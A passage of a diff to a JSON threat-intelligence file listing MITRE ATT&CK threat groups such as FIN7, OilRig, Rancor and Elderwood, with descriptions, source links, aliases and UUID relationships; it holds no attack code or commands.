"196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "96566860-9f11-4b6f-964d-1c924e4f24a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "d1acfbb3-647b-4723-9154-800ec119006e", + "value": "Sowbug - G0054" + }, + { + "description": "[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has primarily targeted the U.S. retail, restaurant, and hospitality sectors since mid-2015. They often use point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. [FIN7](https://attack.mitre.org/groups/G0046) is sometimes referred to as [Carbanak](https://attack.mitre.org/groups/G0008) Group, but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: FireEye CARBANAK June 2017) (Citation: FireEye FIN7 Aug 2018)", + "meta": { + "external_id": "G0046", + "refs": [ + "https://attack.mitre.org/groups/G0046", + "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html", + "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", + "http://blog.morphisec.com/fin7-attacks-restaurant-industry", + "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html", + "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html", + "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + ], + "synonyms": [ + "FIN7" + ] + }, + "related": [ + { + "dest-uuid": "00220228-a5a4-4032-a30d-826bb55aa3fb", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + 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"7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72f54d66-675d-4587-9bd3-4ed09f9522e4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "3753cc21-2dae-4dfb-8481-d004e74502cc", + "value": "FIN7 - G0046" + }, + { + "description": "[RTM](https://attack.mitre.org/groups/G0048) is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name ([RTM](https://attack.mitre.org/software/S0148)). (Citation: ESET RTM Feb 2017)", + "meta": { + "external_id": "G0048", + "refs": [ + "https://attack.mitre.org/groups/G0048", + "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + ], + "synonyms": [ + "RTM" + ] + }, + "related": [ + { + "dest-uuid": "92ec0cbd-2c30-44a2-b270-73f4ec949841", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "c416b28c-103b-4df1-909e-78089a7e0e5f", + "value": "RTM - G0048" + }, + { + "description": "[OilRig](https://attack.mitre.org/groups/G0049) is a threat group with suspected Iranian origins that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017) This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity.", + "meta": { + "external_id": "G0049", + "refs": [ + "https://attack.mitre.org/groups/G0049", + "http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/", + "http://www.clearskysec.com/oilrig/", + "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", + "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/", + "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html", + "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/", + "https://pan-unit42.github.io/playbook_viewer/" + ], + "synonyms": [ + "OilRig", + "Helix Kitten", + "APT34" + ] + }, + "related": [ + { + "dest-uuid": "b96e02f1-4037-463f-b158-5a964352f8d9", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], @@ -1345,13 +9702,6 @@ ], "type": "similar" }, - { - "dest-uuid": "d56c99fa-4710-472c-81a6-41b7a84ea4be", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, { "dest-uuid": "a0082cfa-32e2-42b8-92d8-5c7a7409dcf1", "tags": [ @@ -1360,224 +9710,1466 @@ "type": "similar" }, { - "dest-uuid": "f9d6633a-55e6-4adc-9263-6ae080421a13", + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + 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"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "294e2560-bd48-44b2-9da2-833b5588ad11", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5be33fef-39c0-4532-84ee-bea31e1b5324", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "4ca1929c-7d64-4aab-b849-badbfc0c760d", + "value": "OilRig - G0049" + }, + { + "description": "[NEODYMIUM](https://attack.mitre.org/groups/G0055) is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called [PROMETHIUM](https://attack.mitre.org/groups/G0056) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)", + "meta": { + "external_id": "G0055", + "refs": [ + "https://attack.mitre.org/groups/G0055", + "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/", + "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf", + "https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/" + ], + "synonyms": [ + "NEODYMIUM" + ] + }, + "related": [ + { + "dest-uuid": "47b5007a-3fb1-466a-9578-629e6e735493", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "ba724df5-9aa0-45ca-8e0e-7101c208ae48", + "dest-uuid": "ada08ea8-4517-4eea-aff1-3ad69e5466bb", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "f98bac6b-12fd-4cad-be84-c84666932232", + "dest-uuid": "a8d3d497-2da9-4797-8e0b-ed176be08654", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "025bdaa9-897d-4bad-afa6-013ba5734653", + "value": "NEODYMIUM - G0055" + }, + { + "description": "[PROMETHIUM](https://attack.mitre.org/groups/G0056) is an activity group that has been active since at least 2012. The group conducted a campaign in May 2016 and has heavily targeted Turkish victims. [PROMETHIUM](https://attack.mitre.org/groups/G0056) has demonstrated similarity to another activity group called [NEODYMIUM](https://attack.mitre.org/groups/G0055) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)", + "meta": { + "external_id": "G0056", + "refs": [ + "https://attack.mitre.org/groups/G0056", + "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/", + "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + ], + "synonyms": [ + "PROMETHIUM" + ] + }, + "related": [ + { + "dest-uuid": "5744f91a-d2d8-4f92-920f-943dd80c578f", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "f873db71-3d53-41d5-b141-530675ade27a", + "dest-uuid": "43894e2a-174e-4931-94a8-2296afe8f650", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "47204403-34c9-4d25-a006-296a0939d1a2", + "dest-uuid": "691c60e2-273d-4d56-9ce6-b67e0f8719ad", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" } ], - "value": "OilRig" + "uuid": "efed95ba-d7e8-47ff-8c53-99c42426ee7c", + "value": "PROMETHIUM - G0056" }, { - "description": "PittyTiger is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.[[Citation: Bizeul 2014]][[Citation: Villeneuve 2014]]", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) is a cyber espionage group that has been active since at least 2013. The group generally targets defense and government organizations, but has also targeted a range of industries including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities in the United States, Western Europe, and along the South China Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)", "meta": { + "external_id": "G0065", "refs": [ - "https://attack.mitre.org/wiki/Group/G0011", - "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html", - "http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2" + "https://attack.mitre.org/groups/G0065", + "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", + "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" ], "synonyms": [ - "PittyTiger" - ], - "uuid": "fe98767f-9df8-42b9-83c9-004b1dec8647" + "Leviathan", + "TEMP.Periscope" + ] }, "related": [ { - "dest-uuid": "4d37813c-b8e9-4e58-a758-03168d8aa189", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "PittyTiger" - }, - { - "description": "Patchwork is a threat group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. Much of the code used by this group was copied and pasted from online forums.[[Citation: Cymmetria Patchwork]][[Citation: Symantec Patchwork]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0040", - "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling%20Patchwork.pdf", - "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries" - ], - "synonyms": [ - "Patchwork", - "Dropping Elephant", - "Chinastrats" - ], - "uuid": "17862c7d-9e60-48a0-b48e-da4dc4c3f6b0" - }, - "related": [ - { - "dest-uuid": "9559ecaf-2e75-48a7-aee8-9974020bc772", + "dest-uuid": "5b4b6980-3bc7-11e8-84d6-879aaac37dd9", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "18d473a5-831b-47a5-97a1-a32156299825", + "dest-uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - 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"value": "Patchwork" + "uuid": "7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "value": "Leviathan - G0065" }, { - "description": "menuPass is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university.[[Citation: Palo Alto menuPass Feb 2017]][[Citation: Crowdstrike CrowdCast Oct 2013]][[Citation: FireEye Poison Ivy]][[Citation: PWC Cloud Hopper April 2017]][[Citation: FireEye APT10 April 2017]]", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) is a threat group that has led targeted campaigns against the South East Asia region. [Rancor](https://attack.mitre.org/groups/G0075) uses politically-motivated lures to entice victims to open malicious documents. (Citation: Rancor Unit42 June 2018)", "meta": { + "external_id": "G0075", "refs": [ - "https://attack.mitre.org/wiki/Group/G0045", - "https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf", - "https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem", - "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf" + "https://attack.mitre.org/groups/G0075", + "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" ], "synonyms": [ - "menuPass", - "Stone Panda", - "APT10", - "Red Apollo", - "CVNX" - ], - "uuid": "222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f" + "Rancor" + ] }, "related": [ { - "dest-uuid": "56b37b05-72e7-4a89-ba8a-61ce45269a8c", + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" + }, + { + "dest-uuid": "21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cde2d700-9ed1-46cf-9bce-07364fe8b24f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a68f1f1-da74-4d28-8d9a-696c082706cc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "menuPass" + "uuid": "f40eb8ce-2a74-4e56-89a1-227021410142", + "value": "Rancor - G0075" }, { - "description": "Suckfly is a China-based threat group that has been active since at least 2014.[[Citation: Symantec Suckfly March 2016]]", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)", "meta": { + "external_id": "G0066", "refs": [ - "https://attack.mitre.org/wiki/Group/G0039", - "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" + "https://attack.mitre.org/groups/G0066", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", + "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China", + "http://securityaffairs.co/wordpress/8528/hacking/elderwood-project-who-is-behind-op-aurora-and-ongoing-attacks.html" ], "synonyms": [ - "Suckfly" - ], - "uuid": "5cbe0d3b-6fb1-471f-b591-4b192915116d" + "Elderwood", + "Elderwood Gang", + "Beijing Group", + "Sneaky Panda" + ] }, "related": [ { - "dest-uuid": "5abb12e7-5066-4f84-a109-49a037205c76", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Suckfly" - }, - { - "description": "Strider is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda.[[Citation: Symantec Strider Blog]][[Citation: Kaspersky ProjectSauron Blog]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0041", - "https://securelist.com/analysis/publications/75533/faq-the-projectsauron-apt/", - "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets" - ], - "synonyms": [ - "Strider", - "ProjectSauron" - ], - "uuid": "277d2f87-2ae5-4730-a3aa-50c1fdff9656" - }, - "related": [ - { - "dest-uuid": "f3179cfb-9c86-4980-bd6b-e4fa74adaaa7", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Strider" - }, - { - "description": "Taidoor is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government.[[Citation: TrendMicro Taidoor]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0015", - "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20the%20taidoor%20campaign.pdf" - ], - "synonyms": [ - "Taidoor" - ], - "uuid": "59140a2e-d117-4206-9b2c-2a8662bd9d46" - }, - "value": "Taidoor" - }, - { - "description": "Turla is a threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies.[[Citation: Kaspersky Turla]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0010", - "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/" - ], - "synonyms": [ - "Turla", - "Waterbug" - ], - "uuid": "7a19ecb1-3c65-4de3-a230-993516aed6a6" - }, - "related": [ - { - "dest-uuid": "fa80877c-f509-4daf-8b62-20aba1635f68", + "dest-uuid": "da754aeb-a86d-4874-b388-d1d2028a56be", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "c097471c-2405-4393-b6d7-afbcb5f0cd11", + "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4d8a2d6-c684-453a-8a14-cf4a94f755c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "73a4793a-ce55-4159-b2a6-208ef29b326f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "48523614-309e-43bf-a2b8-705c2b45d7b2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79499993-a8d6-45eb-b343-bf58dea5bdde", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c251e4a5-9a2e-4166-8e42-442af75c3b9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "039814a0-88de-46c5-a4fb-b293db21880a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b42378e0-f147-496f-992a-26a49705395b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "value": "Elderwood - G0066" + }, + { + "description": "[Thrip](https://attack.mitre.org/groups/G0076) is an espionage group that has targeted satellite communications, telecoms, and defense contractor companies in the U.S. and Southeast Asia. The group uses custom malware as well as \"living off the land\" techniques. (Citation: Symantec Thrip June 2018)", + "meta": { + "external_id": "G0076", + "refs": [ + "https://attack.mitre.org/groups/G0076", + "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets" + ], + "synonyms": [ + "Thrip" + ] + }, + "related": [ + { + "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "d69e568e-9ac8-4c08-b32c-d93b43ba9172", + "value": "Thrip - G0076" + }, + { + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. (Citation: Microsoft PLATINUM April 2016)", + "meta": { + "external_id": "G0068", + "refs": [ + "https://attack.mitre.org/groups/G0068", + "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + ], + "synonyms": [ + "PLATINUM" + ] + }, + "related": [ + { + "dest-uuid": "154e97b5-47ef-415a-99a6-2157f1b50339", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "1fc5671f-5757-43bf-8d6d-a9a93b03713a", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "de6cb631-52f6-4169-a73b-7965390b0c30", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0f1ad2ef-41d4-4b7a-9304-ddae68ea3005", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "66f73398-8394-4711-85e5-34c8540b22a5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e170995d-4f61-4f17-b60e-04f9a06ee517", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Turla" + "uuid": "f9c06633-dcff-48a1-8588-759e7cec5694", + "value": "PLATINUM - G0068" + }, + { + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) is an Iranian threat group that has primarily targeted Middle Eastern nations. Activity from this group was previously linked to [FIN7](https://attack.mitre.org/groups/G0046), but is believed to be a distinct group motivated by espionage. (Citation: Unit 42 MuddyWater Nov 2017)", + "meta": { + "external_id": "G0069", + "refs": [ + "https://attack.mitre.org/groups/G0069", + "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/", + "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + ], + "synonyms": [ + "MuddyWater", + "TEMP.Zagros" + ] + }, + "related": [ + { + "dest-uuid": "a29af069-03c3-4534-b78b-7d1a77ea085b", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7d6f590f-544b-45b4-9a42-e0805f342af3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + 